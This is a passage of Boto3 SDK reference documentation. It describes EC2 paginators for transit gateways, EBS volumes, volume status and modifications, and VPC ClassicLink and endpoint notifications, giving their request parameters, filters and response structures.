**TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - state - The state of the attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting . + - transit-gateway-attachment-id - The ID of the attachment. + - transit-gateway-id - The ID of the transit gateway. + - vpc-id - The ID of the VPC. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayVpcAttachments** _(list) --_ + + Information about the VPC attachments. + + - _(dict) --_ + + Describes a VPC attachment. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + - **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + - **SubnetIds** _(list) --_ + + The IDs of the subnets. + + - _(string) --_ + - **CreationTime** _(datetime) --_ + + The creation time. + + - **Options** _(dict) --_ + + The VPC attachment options. + + - **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + - **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + - **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + - **Tags** _(list) --_ + + The tags for the VPC attachment. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGateways + +paginator = client.get_paginator('describe_transit_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateways()](#EC2.Client.describe_transit_gateways "EC2.Client.describe_transit_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayIds** (_list_) -- + + The IDs of the transit gateways. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - options.propagation-default-route-table-id - The ID of the default propagation route table. + - options.amazon-side-asn - The private ASN for the Amazon side of a BGP session. + - options.association-default-route-table-id - The ID of the default association route table. + - options.auto-accept-shared-attachments - Indicates whether there is automatic acceptance of attachment requests (enable | disable ). + - options.default-route-table-association - Indicates whether resource attachments are automatically associated with the default association route table (enable | disable ). + - options.default-route-table-propagation - Indicates whether resource attachments automatically propagate routes to the default propagation route table (enable | disable ). + - options.dns-support - Indicates whether DNS support is enabled (enable | disable ). + - options.vpn-ecmp-support - Indicates whether Equal Cost Multipath Protocol support is enabled (enable | disable ). + - owner-id - The ID of the AWS account that owns the transit gateway. + - state - The state of the transit gateway (available | deleted | deleting | modifying | pending ). + - transit-gateway-id - The ID of the transit gateway. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGateways': [ + { + 'TransitGatewayId': 'string', + 'TransitGatewayArn': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Description': 'string', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'AmazonSideAsn': 123, + 'TransitGatewayCidrBlocks': [ + 'string', + ], + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGateways** _(list) --_ + + Information about the transit gateways. + + - _(dict) --_ + + Describes a transit gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **TransitGatewayArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway. + + - **State** _(string) --_ + + The state of the transit gateway. + + - **OwnerId** _(string) --_ + + The ID of the AWS account ID that owns the transit gateway. + + - **Description** _(string) --_ + + The description of the transit gateway. + + - **CreationTime** _(datetime) --_ + + The creation time. + + - **Options** _(dict) --_ + + The transit gateway options. + + - **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. + + - **TransitGatewayCidrBlocks** _(list) --_ + + The transit gateway CIDR blocks. + + - _(string) --_ + - **AutoAcceptSharedAttachments** _(string) --_ + + Indicates whether attachment requests are automatically accepted. + + - **DefaultRouteTableAssociation** _(string) --_ + + Indicates whether resource attachments are automatically associated with the default association route table. + + - **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + - **DefaultRouteTablePropagation** _(string) --_ + + Indicates whether resource attachments automatically propagate routes to the default propagation route table. + + - **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + + - **VpnEcmpSupport** _(string) --_ + + Indicates whether Equal Cost Multipath Protocol support is enabled. + + - **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + - **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + - **Tags** _(list) --_ + + The tags for the transit gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeVolumeStatus + +paginator = client.get_paginator('describe_volume_status') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_volume_status()](#EC2.Client.describe_volume_status "EC2.Client.describe_volume_status"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VolumeIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - action.code - The action code for the event (for example, enable-volume-io ). + - action.description - A description of the action. + - action.event-id - The event ID associated with the action. + - availability-zone - The Availability Zone of the instance. + - event.description - A description of the event. + - event.event-id - The event ID. + - event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + - event.not-after - The latest end time for the event. + - event.not-before - The earliest start time for the event. + - volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + - volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + - volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VolumeIds** (_list_) -- + + The IDs of the volumes. + + Default: Describes all your volumes. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + - _(dict) --_ + + Describes the volume status. + + - **Actions** _(list) --_ + + The details of the operation. + + - _(dict) --_ + + Describes a volume status operation code. + + - **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + - **Description** _(string) --_ + + A description of the operation. + + - **EventId** _(string) --_ + + The ID of the event associated with this operation. + + - **EventType** _(string) --_ + + The event type associated with this operation. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **Events** _(list) --_ + + A list of events associated with the volume. + + - _(dict) --_ + + Describes a volume status event. + + - **Description** _(string) --_ + + A description of the event. + + - **EventId** _(string) --_ + + The ID of this event. + + - **EventType** _(string) --_ + + The type of this event. + + - **NotAfter** _(datetime) --_ + + The latest end time of the event. + + - **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + - **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + - **VolumeId** _(string) --_ + + The volume ID. + + - **VolumeStatus** _(dict) --_ + + The volume status. + + - **Details** _(list) --_ + + The details of the volume status. + + - _(dict) --_ + + Describes a volume status. + + - **Name** _(string) --_ + + The name of the volume status. + + - **Status** _(string) --_ + + The intended status of the volume status. + + - **Status** _(string) --_ + + The status of the volume. + + - **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + - _(dict) --_ + + Information about the instances to which the volume is attached. + + - **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + - **InstanceId** _(string) --_ + + The ID of the attached instance. + + +_class_ EC2.Paginator.DescribeVolumes + +paginator = client.get_paginator('describe_volumes') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VolumeIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - attachment.attach-time - The time stamp when the attachment initiated. + - attachment.delete-on-termination - Whether the volume is deleted on instance termination. + - attachment.device - The device name specified in the block device mapping (for example, /dev/sda1 ). + - attachment.instance-id - The ID of the instance the volume is attached to. + - attachment.status - The attachment state (attaching | attached | detaching ). + - availability-zone - The Availability Zone in which the volume was created. + - create-time - The time stamp when the volume was created. + - encrypted - Indicates whether the volume is encrypted (true | false ) + - multi-attach-enabled - Indicates whether the volume is enabled for Multi-Attach (true | false ) + - fast-restored - Indicates whether the volume was created from a snapshot that is enabled for fast snapshot restore (true | false ). + - size - The size of the volume, in GiB. + - snapshot-id - The snapshot from which the volume was created. + - status - The state of the volume (creating | available | in-use | deleting | deleted | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The volume ID. + - volume-type - The Amazon EBS volume type (gp2 | gp3 | io1 | io2 | st1 | sc1 | standard ) + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Volumes': [ + { + 'Attachments': [ + { + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False + }, + ], + 'AvailabilityZone': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OutpostArn': 'string', + 'Size': 123, + 'SnapshotId': 'string', + 'State': 'creating'|'available'|'in-use'|'deleting'|'deleted'|'error', + 'VolumeId': 'string', + 'Iops': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'FastRestored': True|False, + 'MultiAttachEnabled': True|False, + 'Throughput': 123 + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Volumes** _(list) --_ + + Information about the volumes. + + - _(dict) --_ + + Describes a volume. + + - **Attachments** _(list) --_ + + Information about the volume attachments. + + - _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone for the volume. + + - **CreateTime** _(datetime) --_ + + The time stamp when volume creation was initiated. + + - **Encrypted** _(boolean) --_ + + Indicates whether the volume is encrypted. + + - **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **Size** _(integer) --_ + + The size of the volume, in GiBs. + + - **SnapshotId** _(string) --_ + + The snapshot from which the volume was created, if applicable. + + - **State** _(string) --_ + + The volume state. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + - **Tags** _(list) --_ + + Any tags assigned to the volume. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VolumeType** _(string) --_ + + The volume type. + + - **FastRestored** _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + - **MultiAttachEnabled** _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +_class_ EC2.Paginator.DescribeVolumesModifications + +paginator = client.get_paginator('describe_volumes_modifications') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_volumes_modifications()](#EC2.Client.describe_volumes_modifications "EC2.Client.describe_volumes_modifications"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumesModifications) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + VolumeIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VolumeIds** (_list_) -- + + The IDs of the volumes. + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - modification-state - The current modification state (modifying | optimizing | completed | failed). + - original-iops - The original IOPS rate of the volume. + - original-size - The original size of the volume, in GiB. + - original-volume-type - The original volume type of the volume (standard | io1 | io2 | gp2 | sc1 | st1). + - originalMultiAttachEnabled - Indicates whether Multi-Attach support was enabled (true | false). + - start-time - The modification start time. + - target-iops - The target IOPS rate of the volume. + - target-size - The target size of the volume, in GiB. + - target-volume-type - The target volume type of the volume (standard | io1 | io2 | gp2 | sc1 | st1). + - targetMultiAttachEnabled - Indicates whether Multi-Attach support is to be enabled (true | false). + - volume-id - The ID of the volume. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VolumesModifications': [ + { + 'VolumeId': 'string', + 'ModificationState': 'modifying'|'optimizing'|'completed'|'failed', + 'StatusMessage': 'string', + 'TargetSize': 123, + 'TargetIops': 123, + 'TargetVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'TargetThroughput': 123, + 'TargetMultiAttachEnabled': True|False, + 'OriginalSize': 123, + 'OriginalIops': 123, + 'OriginalVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'OriginalThroughput': 123, + 'OriginalMultiAttachEnabled': True|False, + 'Progress': 123, + 'StartTime': datetime(2015, 1, 1), + 'EndTime': datetime(2015, 1, 1) + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **VolumesModifications** _(list) --_ + + Information about the volume modifications. + + - _(dict) --_ + + Describes the modification status of an EBS volume. + + If the volume has never been modified, some element values will be null. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **ModificationState** _(string) --_ + + The current modification state. The modification state is null for unmodified volumes. + + - **StatusMessage** _(string) --_ + + A status message about the modification progress or failure. + + - **TargetSize** _(integer) --_ + + The target size of the volume, in GiB. + + - **TargetIops** _(integer) --_ + + The target IOPS rate of the volume. + + - **TargetVolumeType** _(string) --_ + + The target EBS volume type of the volume. + + - **TargetThroughput** _(integer) --_ + + The target throughput of the volume, in MiB/s. + + - **TargetMultiAttachEnabled** _(boolean) --_ + + The target setting for Amazon EBS Multi-Attach. + + - **OriginalSize** _(integer) --_ + + The original size of the volume, in GiB. + + - **OriginalIops** _(integer) --_ + + The original IOPS rate of the volume. + + - **OriginalVolumeType** _(string) --_ + + The original EBS volume type of the volume. + + - **OriginalThroughput** _(integer) --_ + + The original throughput of the volume, in MiB/s. + + - **OriginalMultiAttachEnabled** _(boolean) --_ + + The original setting for Amazon EBS Multi-Attach. + + - **Progress** _(integer) --_ + + The modification progress, from 0 to 100 percent complete. + + - **StartTime** _(datetime) --_ + + The modification start time. + + - **EndTime** _(datetime) --_ + + The modification completion or failure time. + + +_class_ EC2.Paginator.DescribeVpcClassicLinkDnsSupport + +paginator = client.get_paginator('describe_vpc_classic_link_dns_support') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_classic_link_dns_support()](#EC2.Client.describe_vpc_classic_link_dns_support "EC2.Client.describe_vpc_classic_link_dns_support"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcClassicLinkDnsSupport) + +**Request Syntax** + +response_iterator = paginator.paginate( + VpcIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **VpcIds** (_list_) -- + + One or more VPC IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpcs': [ + { + 'ClassicLinkDnsSupported': True|False, + 'VpcId': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **Vpcs** _(list) --_ + + Information about the ClassicLink DNS support status of the VPCs. + + - _(dict) --_ + + Describes the ClassicLink DNS support status of a VPC. + + - **ClassicLinkDnsSupported** _(boolean) --_ + + Indicates whether ClassicLink DNS support is enabled for the VPC. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +_class_ EC2.Paginator.DescribeVpcEndpointConnectionNotificationsdefinition") + +paginator = client.get_paginator('describe_vpc_endpoint_connection_notifications') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoint_connection_notifications()](#EC2.Client.describe_vpc_endpoint_connection_notifications "EC2.Client.describe_vpc_endpoint_connection_notifications"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointConnectionNotifications) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + ConnectionNotificationId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **ConnectionNotificationId** (_string_) -- The ID of the notification. +- **Filters** (_list_) -- + + One or more filters. + + - connection-notification-arn - The ARN of the SNS topic for the notification. + - connection-notification-id - The ID of the notification. + - connection-notification-state - The state of the notification (Enabled | Disabled ). + - connection-notification-type - The type of notification (Topic ). + - service-id - The ID of the endpoint service. + - vpc-endpoint-id - The ID of the VPC endpoint. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConnectionNotificationSet': [ + { + 'ConnectionNotificationId': 'string', + 'ServiceId': 'string', + 'VpcEndpointId': 'string', + 'ConnectionNotificationType': 'Topic', + 'ConnectionNotificationArn': 'string', + 'ConnectionEvents': [ + 'string', + ], + 'ConnectionNotificationState': 'Enabled'|'Disabled' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ConnectionNotificationSet** _(list) --_ + + One or more notifications. + + - _(dict) --_ + + Describes a connection notification for a VPC endpoint or VPC endpoint service. + + - **ConnectionNotificationId** _(string) --_ + + The ID of the notification. + + - **ServiceId** _(string) --_ + + The ID of the endpoint service. + + - **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + - **ConnectionNotificationType** _(string) --_ + + The type of notification. + + - **ConnectionNotificationArn** _(string) --_ + + The ARN of the SNS topic for the notification. + + - **ConnectionEvents** _(list) --_ + + The events for the notification. Valid values are Accept , Connect , Delete , and Reject . + + - _(string) --_ + - **ConnectionNotificationState** _(string) --_ + + The state of the notification. + + +_class_ EC2.Paginator.DescribeVpcEndpointConnections + +paginator = client.get_paginator('describe_vpc_endpoint_connections') + +paginate(kwargs_) 